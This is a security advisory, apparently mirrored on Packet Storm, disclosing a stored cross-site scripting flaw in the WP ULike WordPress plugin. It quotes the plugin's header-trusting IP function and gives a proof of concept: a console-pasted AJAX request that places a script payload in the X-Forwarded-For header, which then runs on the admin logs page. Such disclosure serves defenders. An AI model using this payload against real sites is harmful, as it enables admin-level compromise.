Twenty Year Anniversary

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting
Posted May 15, 2018
Authored by Tom Adams

WordPress WP ULike plugin versions 2.8.1 and 3.1 suffer from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 5239bb9f4e58dbc13acd429576447707

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

Change Mirror Download
Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/stored-xss-wp-ulike/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
Stored XSS in WP ULike allows unauthorised users to do almost anything an admin can

Vulnerability
================
The pluginas default configuration (after pressing aSave Changesa on the settings page) allows unauthenticated users to alikea posts. It fetches the useras IP like this:
function wp_ulike_get_real_ip() {
if (getenv(\'HTTP_CLIENT_IP\')) {
$ip = getenv(\'HTTP_CLIENT_IP\');
} elseif (getenv(\'HTTP_X_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_X_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_X_FORWARDED\')) {
$ip = getenv(\'HTTP_X_FORWARDED\');
} elseif (getenv(\'HTTP_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_FORWARDED\')) {
$ip = getenv(\'HTTP_FORWARDED\');
} else {
$ip = $_SERVER[\'REMOTE_ADDR\'];
}

return $ip;
}
This will be incorrect in many situations. The header (which could be an IP address, or it could be an arbitrary string provided by the user) is stored in the database. Then itas displayed to the admin without being escaped.

Proof of concept
================

Enable the plugin
Visit /wp-admin/admin.php?page=wp-ulike-settings and press Save Settings
Sign out
Visit a post displaying a like button
Open the console
Paste and execute this: var d=document.querySelector(\'.wpulike-default a\').dataset;jQuery.ajax(\'/wp-admin/admin-ajax.php\', {method: \'POST\', headers: {\'X-Forwarded-For\': \'<script>alert(1)</script>\'},data: {action: \'wp_ulike_process\', id: d.ulikeId, status: d.ulikeStatus, type: d.ulikeType, nonce: d.ulikeNonce}})
Sign in
Visit /wp-admin/admin.php?page=wp-ulike-post-logs


Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    64 Files
  • 24
    May 24th
    55 Files
  • 25
    May 25th
    16 Files
  • 26
    May 26th
    17 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close